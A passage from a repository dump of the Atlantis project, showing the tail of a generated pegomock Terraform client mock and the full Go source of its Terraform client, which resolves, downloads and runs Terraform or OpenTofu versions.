pegomock.GetGenericMockFrom(mock).Invoke(\"RunCommandWithVersion\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockClient {\n\treturn &VerifierMockClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockClient struct {\n\tmock                   *MockClient\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *MockClient_DetectVersion_OngoingVerification {\n\t_params := []pegomock.Param{log, projectDirectory}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DetectVersion\", _params, verifier.timeout)\n\treturn &MockClient_DetectVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_DetectVersion_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_DetectVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) {\n\tlog, projectDirectory := c.GetAllCapturedArguments()\n\treturn log[len(log)-1], projectDirectory[len(projectDirectory)-1]\n}\n\nfunc (c *MockClient_DetectVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *go_version.Version) *MockClient_EnsureVersion_OngoingVerification {\n\t_params := []pegomock.Param{log, d, v}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"EnsureVersion\", _params, verifier.timeout)\n\treturn &MockClient_EnsureVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_EnsureVersion_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_EnsureVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, terraform.Distribution, *go_version.Version) {\n\tlog, d, v := c.GetAllCapturedArguments()\n\treturn log[len(log)-1], d[len(d)-1], v[len(v)-1]\n}\n\nfunc (c *MockClient_EnsureVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []terraform.Distribution, _param2 []*go_version.Version) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]terraform.Distribution, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(terraform.Distribution)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]*go_version.Version, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(*go_version.Version)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) *MockClient_RunCommandWithVersion_OngoingVerification {\n\t_params := []pegomock.Param{ctx, path, args, envs, d, v, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"RunCommandWithVersion\", _params, verifier.timeout)\n\treturn &MockClient_RunCommandWithVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockClient_RunCommandWithVersion_OngoingVerification struct {\n\tmock              *MockClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockClient_RunCommandWithVersion_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, []string, map[string]string, terraform.Distribution, *go_version.Version, string) {\n\tctx, path, args, envs, d, v, workspace := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], path[len(path)-1], args[len(args)-1], envs[len(envs)-1], d[len(d)-1], v[len(v)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockClient_RunCommandWithVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 [][]string, _param3 []map[string]string, _param4 []terraform.Distribution, _param5 []*go_version.Version, _param6 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]terraform.Distribution, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(terraform.Distribution)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]*go_version.Version, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(*go_version.Version)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 6 {\n\t\t\t_param6 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[6] {\n\t\t\t\t_param6[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/terraform/tfclient/terraform_client.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package tfclient handles the actual running of terraform commands.\npackage tfclient\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/hashicorp/terraform-config-inspect/tfconfig\"\n\t\"github.com/mitchellh/go-homedir\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/ansi\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nvar LogStreamingValidCmds = [...]string{\"init\", \"plan\", \"apply\"}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_terraform_client.go Client\n\ntype Client interface {\n\t// RunCommandWithVersion executes terraform with args in path. If v is nil,\n\t// it will use the default Terraform version. workspace is the Terraform\n\t// workspace which should be set as an environment variable.\n\tRunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error)\n\n\t// EnsureVersion makes sure that terraform version `v` is available to use\n\tEnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error\n\n\t// DetectVersion Extracts required_version from Terraform configuration in the specified project directory. Returns nil if unable to determine the version.\n\tDetectVersion(log logging.SimpleLogging, projectDirectory string) *version.Version\n}\n\ntype DefaultClient struct {\n\t// Distribution handles logic specific to the TF distribution being used by Atlantis\n\tdistribution terraform.Distribution\n\n\t// defaultVersion is the default version of terraform to use if another\n\t// version isn't specified.\n\tdefaultVersion *version.Version\n\t// We will run terraform with the TF_PLUGIN_CACHE_DIR env var set to this\n\t// directory inside our data dir.\n\tterraformPluginCacheDir string\n\tbinDir                  string\n\t// overrideTF can be used to override the terraform binary during testing\n\t// with another binary, ex. echo.\n\toverrideTF string\n\t// settings for the downloader.\n\tdownloadBaseURL string\n\tdownloadAllowed bool\n\t// versions maps from the string representation of a tf version (ex. 0.11.10)\n\t// to the absolute path of that binary on disk (if it exists).\n\t// Use versionsLock to control access.\n\tversions map[string]string\n\n\t// versionsLock is used to ensure versions isn't being concurrently written to.\n\tversionsLock *sync.Mutex\n\n\t// usePluginCache determines whether or not to set the TF_PLUGIN_CACHE_DIR env var\n\tusePluginCache bool\n\n\tprojectCmdOutputHandler jobs.ProjectCommandOutputHandler\n}\n\n// versionRegex extracts the version from `terraform version` output.\n//\n//\t    Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076)\n//\t\t   => 0.12.0-alpha4\n//\n//\t    Terraform v0.11.10\n//\t\t   => 0.11.10\n//\n//\t    OpenTofu v1.0.0\n//\t\t   => 1.0.0\nvar versionRegex = regexp.MustCompile(\"(?:Terraform|OpenTofu) v(.*?)(\\\\s.*)?\\n\")\n\n// NewClientWithDefaultVersion creates a new terraform client and pre-fetches the default version\nfunc NewClientWithDefaultVersion(\n\tlog logging.SimpleLogging,\n\tdistribution terraform.Distribution,\n\tbinDir string,\n\tcacheDir string,\n\ttfeToken string,\n\ttfeHostname string,\n\tdefaultVersionStr string,\n\tdefaultVersionFlagName string,\n\ttfDownloadURL string,\n\ttfDownloadAllowed bool,\n\tusePluginCache bool,\n\tfetchAsync bool,\n\tprojectCmdOutputHandler jobs.ProjectCommandOutputHandler,\n) (*DefaultClient, error) {\n\tvar finalDefaultVersion *version.Version\n\tvar localVersion *version.Version\n\tversions := make(map[string]string)\n\tvar versionsLock sync.Mutex\n\n\tlocalPath, err := exec.LookPath(distribution.BinName())\n\tif err != nil && defaultVersionStr == \"\" {\n\t\treturn nil, fmt.Errorf(\"%s not found in $PATH. Set --%s or download terraform from https://developer.hashicorp.com/terraform/downloads\", distribution.BinName(), defaultVersionFlagName)\n\t}\n\tif err == nil {\n\t\tlocalVersion, err = getVersion(localPath, distribution.BinName())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tversions[localVersion.String()] = localPath\n\t\tif defaultVersionStr == \"\" {\n\n\t\t\t// If they haven't set a default version, then whatever they had\n\t\t\t// locally is now the default.\n\t\t\tfinalDefaultVersion = localVersion\n\t\t}\n\t}\n\n\tif defaultVersionStr != \"\" {\n\t\tdefaultVersion, err := version.NewVersion(defaultVersionStr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfinalDefaultVersion = defaultVersion\n\t\tensureVersionFunc := func() {\n\t\t\t// Since ensureVersion might end up downloading terraform,\n\t\t\t// we call it asynchronously so as to not delay server startup.\n\t\t\tversionsLock.Lock()\n\t\t\t_, err := ensureVersion(log, distribution, versions, defaultVersion, binDir, tfDownloadURL, tfDownloadAllowed)\n\t\t\tversionsLock.Unlock()\n\t\t\tif err != nil {\n\t\t\t\tlog.Err(\"could not download %s %s: %s\", distribution.BinName(), defaultVersion.String(), err)\n\t\t\t}\n\t\t}\n\n\t\tif fetchAsync {\n\t\t\tgo ensureVersionFunc()\n\t\t} else {\n\t\t\tensureVersionFunc()\n\t\t}\n\t}\n\n\t// If tfeToken is set, we try to create a ~/.terraformrc file.\n\tif tfeToken != \"\" {\n\t\thome, err := homedir.Dir()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"getting home dir to write ~/.terraformrc file: %w\", err)\n\t\t}\n\t\tif err := generateRCFile(tfeToken, tfeHostname, home); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn &DefaultClient{\n\t\tdistribution:            distribution,\n\t\tdefaultVersion:          finalDefaultVersion,\n\t\tterraformPluginCacheDir: cacheDir,\n\t\tbinDir:                  binDir,\n\t\tdownloadBaseURL:         tfDownloadURL,\n\t\tdownloadAllowed:         tfDownloadAllowed,\n\t\tversionsLock:            &versionsLock,\n\t\tversions:                versions,\n\t\tusePluginCache:          usePluginCache,\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}, nil\n\n}\n\nfunc NewTestClient(\n\tlog logging.SimpleLogging,\n\tdistribution terraform.Distribution,\n\tbinDir string,\n\tcacheDir string,\n\ttfeToken string,\n\ttfeHostname string,\n\tdefaultVersionStr string,\n\tdefaultVersionFlagName string,\n\ttfDownloadURL string,\n\ttfDownloadAllowed bool,\n\tusePluginCache bool,\n\tprojectCmdOutputHandler jobs.ProjectCommandOutputHandler,\n) (*DefaultClient, error) {\n\treturn NewClientWithDefaultVersion(\n\t\tlog,\n\t\tdistribution,\n\t\tbinDir,\n\t\tcacheDir,\n\t\ttfeToken,\n\t\ttfeHostname,\n\t\tdefaultVersionStr,\n\t\tdefaultVersionFlagName,\n\t\ttfDownloadURL,\n\t\ttfDownloadAllowed,\n\t\tusePluginCache,\n\t\tfalse,\n\t\tprojectCmdOutputHandler,\n\t)\n}\n\n// NewClient constructs a terraform client.\n// tfeToken is an optional terraform enterprise token.\n// defaultVersionStr is an optional default terraform version to use unless\n// a specific version is set.\n// defaultVersionFlagName is the name of the flag that sets the default terraform\n// version.\n// Will asynchronously download the required version if it doesn't exist already.\nfunc NewClient(\n\tlog logging.SimpleLogging,\n\tdistribution terraform.Distribution,\n\tbinDir string,\n\tcacheDir string,\n\ttfeToken string,\n\ttfeHostname string,\n\tdefaultVersionStr string,\n\tdefaultVersionFlagName string,\n\ttfDownloadURL string,\n\ttfDownloadAllowed bool,\n\tusePluginCache bool,\n\tprojectCmdOutputHandler jobs.ProjectCommandOutputHandler,\n) (*DefaultClient, error) {\n\treturn NewClientWithDefaultVersion(\n\t\tlog,\n\t\tdistribution,\n\t\tbinDir,\n\t\tcacheDir,\n\t\ttfeToken,\n\t\ttfeHostname,\n\t\tdefaultVersionStr,\n\t\tdefaultVersionFlagName,\n\t\ttfDownloadURL,\n\t\ttfDownloadAllowed,\n\t\tusePluginCache,\n\t\ttrue,\n\t\tprojectCmdOutputHandler,\n\t)\n}\n\nfunc (c *DefaultClient) DefaultDistribution() terraform.Distribution {\n\treturn c.distribution\n}\n\n// Version returns the default version of Terraform we use if no other version\n// is defined.\nfunc (c *DefaultClient) DefaultVersion() *version.Version {\n\treturn c.defaultVersion\n}\n\n// TerraformBinDir returns the directory where we download Terraform binaries.\nfunc (c *DefaultClient) TerraformBinDir() string {\n\treturn c.binDir\n}\n\n// ExtractExactRegex attempts to extract an exact version number from the provided string as a fallback.\n// The function expects the version string to be in one of the following formats: \"= x.y.z\", \"=x.y.z\", or \"x.y.z\" where x, y, and z are integers.\n// If the version string matches one of these formats, the function returns a slice containing the exact version number.\n// If the version string does not match any of these formats, the function logs a debug message and returns nil.\nfunc (c *DefaultClient) ExtractExactRegex(log logging.SimpleLogging, version string) []string {\n\tre := regexp.MustCompile(`^=?\\s*([0-9.]+)\\s*$`)\n\tmatched := re.FindStringSubmatch(version)\n\tif len(matched) == 0 {\n\t\tlog.Debug(\"exact version regex not found in the version %q\", version)\n\t\treturn nil\n\t}\n\t// The first element of the slice is the entire string, so we want the second element (the first capture group)\n\ttfVersions := []string{matched[1]}\n\tlog.Debug(\"extracted exact version %q from version %q\", tfVersions[0], version)\n\treturn tfVersions\n}\n\n// DetectVersion extracts required_version from Terraform configuration in the specified project directory. Returns nil if unable to determine the version.\n// It will also try to evaluate non-exact matches by passing the Constraints to the hc-install Releases API, which will return a list of available versions.\n// It will then select the highest version that satisfies the constraint.\nfunc (c *DefaultClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *version.Version {\n\tmodule, diags := tfconfig.LoadModule(projectDirectory)\n\tif diags.HasErrors() {\n\t\tlog.Err(\"trying to detect required version: %s\", diags.Error())\n\t}\n\n\tif len(module.RequiredCore) != 1 {\n\t\tlog.Info(\"cannot determine which version to use from terraform configuration, detected %d possibilities.\", len(module.RequiredCore))\n\t\treturn nil\n\t}\n\trequiredVersionSetting := module.RequiredCore[0]\n\tlog.Debug(\"Found required_version setting of %q\", requiredVersionSetting)\n\n\tif !c.downloadAllowed {\n\t\tlog.Debug(\"terraform downloads disabled.\")\n\t\tmatched := c.ExtractExactRegex(log, requiredVersionSetting)\n\t\tif len(matched) == 0 {\n\t\t\tlog.Debug(\"did not specify exact version in terraform configuration, found %q\", requiredVersionSetting)\n\t\t\treturn nil\n\t\t}\n\n\t\tversion, err := version.NewVersion(matched[0])\n\t\tif err != nil {\n\t\t\tlog.Err(\"error parsing version string: %s\", err)\n\t\t\treturn nil\n\t\t}\n\t\treturn version\n\t}\n\n\tdownloadVersion, err := c.distribution.ResolveConstraint(context.Background(), requiredVersionSetting)\n\tif err != nil {\n\t\tlog.Err(\"%s\", err)\n\t\treturn nil\n\t}\n\n\treturn downloadVersion\n}\n\n// See Client.EnsureVersion.\nfunc (c *DefaultClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error {\n\tif v == nil {\n\t\tv = c.defaultVersion\n\t}\n\n\tvar err error\n\tc.versionsLock.Lock()\n\t_, err = ensureVersion(log, d, c.versions, v, c.binDir, c.downloadBaseURL, c.downloadAllowed)\n\tc.versionsLock.Unlock()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// See Client.RunCommandWithVersion.\nfunc (c *DefaultClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, customEnvVars map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error) {\n\tif isAsyncEligibleCommand(args[0]) {\n\t\t_, outCh := c.RunCommandAsync(ctx, path, args, customEnvVars, d, v, workspace)\n\n\t\tvar lines []string\n\t\tvar err error\n\t\tfor line := range outCh {\n\t\t\tif line.Err != nil {\n\t\t\t\terr = line.Err\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tlines = append(lines, line.Line)\n\t\t}\n\t\toutput := strings.Join(lines, \"\\n\")\n\n\t\t// sanitize output by stripping out any ansi characters.\n\t\toutput = ansi.Strip(output)\n\t\treturn fmt.Sprintf(\"%s\\n\", output), err\n\t}\n\ttfCmd, cmd, err := c.prepExecCmd(ctx.Log, d, v, workspace, path, args)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tenvVars := cmd.Env\n\tfor key, val := range customEnvVars {\n\t\tenvVars = append(envVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\tcmd.Env = envVars\n\tstart := time.Now()\n\tout, err := cmd.CombinedOutput()\n\tdur := time.Since(start)\n\tlog := ctx.Log.With(\"duration\", dur)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"running '%s' in '%s': %w\", tfCmd, path, err)\n\t\tlog.Err(err.Error())\n\t\treturn ansi.Strip(string(out)), err\n\t}\n\tlog.Info(\"Successfully ran '%s' in '%s'\", tfCmd, path)\n\n\treturn ansi.Strip(string(out)), nil\n}\n\n// prepExecCmd builds a ready to execute command based on the version of terraform\n// v, and args. It returns a printable representation of the command that will\n// be run and the actual command.\nfunc (c *DefaultClient) prepExecCmd(log logging.SimpleLogging, d terraform.Distribution, v *version.Version, workspace string, path string, args []string) (string, *exec.Cmd, error) {\n\ttfCmd, envVars, err := c.prepCmd(log, d, v, workspace, path, args)\n\tif err != nil {\n\t\treturn \"\", nil, err\n\t}\n\tcmd := exec.Command(\"sh\", \"-c\", tfCmd)\n\tcmd.Dir = path\n\tcmd.Env = envVars\n\treturn tfCmd, cmd, nil\n}\n\n// prepCmd prepares a shell command (to be interpreted with `sh -c <cmd>`) and set of environment\n// variables for running terraform.\nfunc (c *DefaultClient) prepCmd(log logging.SimpleLogging, d terraform.Distribution, v *version.Version, workspace string, path string, args []string) (string, []string, error) {\n\n\tif v == nil {\n\t\tv = c.defaultVersion\n\t}\n\n\tvar binPath string\n\tif c.overrideTF != \"\" {\n\t\t// This is only set during testing.\n\t\tbinPath = c.overrideTF\n\t} else {\n\t\tvar err error\n\t\tc.versionsLock.Lock()\n\t\tbinPath, err = ensureVersion(log, d, c.versions, v, c.binDir, c.downloadBaseURL, c.downloadAllowed)\n\t\tc.versionsLock.Unlock()\n\t\tif err != nil {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t}\n\n\t// We add custom variables so that if `extra_args` is specified with env\n\t// vars then they'll be substituted.\n\tenvVars := []string{\n\t\t// Will de-emphasize specific commands to run in output.\n\t\t\"TF_IN_AUTOMATION=true\",\n\t\t// Cache plugins so terraform init runs faster.\n\t\tfmt.Sprintf(\"WORKSPACE=%s\", workspace),\n\t\tfmt.Sprintf(\"ATLANTIS_TERRAFORM_VERSION=%s\", v.String()),\n\t\tfmt.Sprintf(\"DIR=%s\", path),\n\t}\n\tif c.usePluginCache {\n\t\tenvVars = append(envVars, fmt.Sprintf(\"TF_PLUGIN_CACHE_DIR=%s\", c.terraformPluginCacheDir))\n\t}\n\t// Append current Atlantis process's environment variables, ex.\n\t// AWS_ACCESS_KEY.\n\tenvVars = append(envVars, os.Environ()...)\n\ttfCmd := fmt.Sprintf(\"%s %s\", binPath, strings.Join(args, \" \"))\n\treturn tfCmd, envVars, nil\n}\n\n// RunCommandAsync runs terraform with args. It immediately returns an\n// input and output channel. Callers can use the output channel to\n// get the realtime output from the command.\n// Callers can use the input channel to pass stdin input to the command.\n// If any error is passed on the out channel, there will be no\n// further output (so callers are free to exit).\nfunc (c *DefaultClient) RunCommandAsync(ctx command.ProjectContext, path string, args []string, customEnvVars map[string]string, d terraform.Distribution, v *version.Version, workspace string) (chan<- string, <-chan models.Line) {\n\tcmd, envVars, err := c.prepCmd(ctx.Log, d, v, workspace, path, args)\n\tif err != nil {\n\t\t// The signature of `RunCommandAsync` doesn't provide for returning an immediate error, only one\n\t\t// once reading the output. Since we won't be spawning a process, simulate that by sending the\n\t\t// errorcustomEnvVars to the output channel.\n\t\toutCh := make(chan models.Line)\n\t\tinCh := make(chan string)\n\t\tgo func() {\n\t\t\toutCh <- models.Line{Err: err}\n\t\t\tclose(outCh)\n\t\t\tclose(inCh)\n\t\t}()\n\t\treturn inCh, outCh\n\t}\n\n\tfor key, val := range customEnvVars {\n\t\tenvVars = append(envVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\n\trunner := models.NewShellCommandRunner(nil, cmd, envVars, path, true, c.projectCmdOutputHandler)\n\tinCh, outCh := runner.RunCommandAsync(ctx)\n\treturn inCh, outCh\n}\n\n// MustConstraint will parse one or more constraints from the given\n// constraint string. The string must be a comma-separated list of\n// constraints. It panics if there is an error.\nfunc MustConstraint(v string) version.Constraints {\n\tc, err := version.NewConstraint(v)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn c\n}\n\n// ensureVersion returns the path to a terraform binary of version v.\n// It will download this version if we don't have it.\nfunc ensureVersion(\n\tlog logging.SimpleLogging,\n\tdist terraform.Distribution,\n\tversions map[string]string,\n\tv *version.Version,\n\tbinDir string,\n\tdownloadURL string,\n\tdownloadsAllowed bool,\n) (string, error) {\n\tif binPath, ok := versions[v.String()]; ok {\n\t\treturn binPath, nil\n\t}\n\n\t// This tf version might not yet be in the versions map even though it\n\t// exists on disk. This would happen if users have manually added\n\t// terraform{version} binaries. In this case we don't want to re-download.\n\tbinFile := dist.BinName() + v.String()\n\tif binPath, err := exec.LookPath(binFile); err == nil {\n\t\tversions[v.String()] = binPath\n\t\treturn binPath, nil\n\t}\n\n\t// The version might also not be in the versions map if it's in our bin dir.\n\t// This could happen if Atlantis was restarted without losing its disk.\n\tdest := filepath.Join(binDir, binFile)\n\tif _, err := os.Stat(dest); err == nil {\n\t\tversions[v.String()] = dest\n\t\treturn dest, nil\n\t}\n\tif !downloadsAllowed {\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"could not find %s version %s in PATH or %s, and downloads are disabled\",\n\t\t\tdist.BinName(),\n\t\t\tv.String(),\n\t\t\tbinDir,\n\t\t)\n\t}\n\n\tlog.Info(\"could not find %s version %s in PATH or %s\", dist.BinName(), v.String(), binDir)\n\n\tlog.Info(\"downloading %s version %s from download URL %s\", dist.BinName(), v.String(), downloadURL)\n\n\texecPath, err := dist.Downloader().Install(context.Background(), binDir, downloadURL, v)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error downloading %s version %s: %w\", dist.BinName(), v.String(), err)\n\t}\n\n\tlog.Info(\"Downloaded %s %s to %s\", dist.BinName(), v.String(), execPath)\n\tversions[v.String()] = execPath\n\treturn execPath, nil\n}\n\n// generateRCFile generates a .terraformrc file containing config for tfeToken\n// and hostname tfeHostname.\n// It will create the file in home/.terraformrc.\nfunc generateRCFile(tfeToken string, tfeHostname string, home string) error {\n\tconst rcFilename = \".terraformrc\"\n\trcFile := filepath.Join(home, rcFilename)\n\tconfig := fmt.Sprintf(rcFileContents, tfeHostname, tfeToken)\n\n\t// If there is already a .terraformrc file and its contents aren't exactly\n\t// what we would have written to it, then we error out because we don't\n\t// want to overwrite anything.\n\tif _, err := os.Stat(rcFile); err == nil {\n\t\tcurrContents, err := os.ReadFile(rcFile) // nolint: gosec\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"trying to read %s to ensure we're not overwriting it: %w\", rcFile, err)\n\t\t}\n\t\tif config != string(currContents) {\n\t\t\treturn fmt.Errorf(\"can't write TFE token to %s because that file has contents that would be overwritten\", rcFile)\n\t\t}\n\t\t// Otherwise we don't need to write the file because it already has\n\t\t// what we need.\n\t\treturn nil\n\t}\n\n\tif err := os.WriteFile(rcFile, []byte(config), 0600); err != nil {\n\t\treturn fmt.Errorf(\"writing generated %s file with TFE token to %s: %w\", rcFilename, rcFile, err)\n\t}\n\treturn nil\n}\n\nfunc isAsyncEligibleCommand(cmd string) bool {\n\tfor _, validCmd := range LogStreamingValidCmds {\n\t\tif validCmd == cmd {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc getVersion(tfBinary string, binName string) (*version.Version, error) {\n\tversionOutBytes, err := exec.Command(tfBinary, \"version\").Output() // #nosec\n\tversionOutput := string(versionOutBytes)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"running %s version: %s: %w\", binName, versionOutput, err)\n\t}\n\tmatch := versionRegex.FindStringSubmatch(versionOutput)\n\tif len(match) <= 1 {\n\t\treturn nil, fmt.Errorf(\"could not parse %s version from %s\", binName, versionOutput)\n\t}\n\treturn version.NewVersion(match[1])\n}\n\n// rcFileContents is a format string to be used with Sprintf that can be used\n// to generate the contents of a ~/.terraformrc file for authenticating with\n// Terraform Enterprise.\nvar rcFileContents = `credentials \"%s\" {\n  token = %q\n}`\n"
  },
  {
    "path": "server/core/terraform/tfclient/terraform_client_internal_test.go",
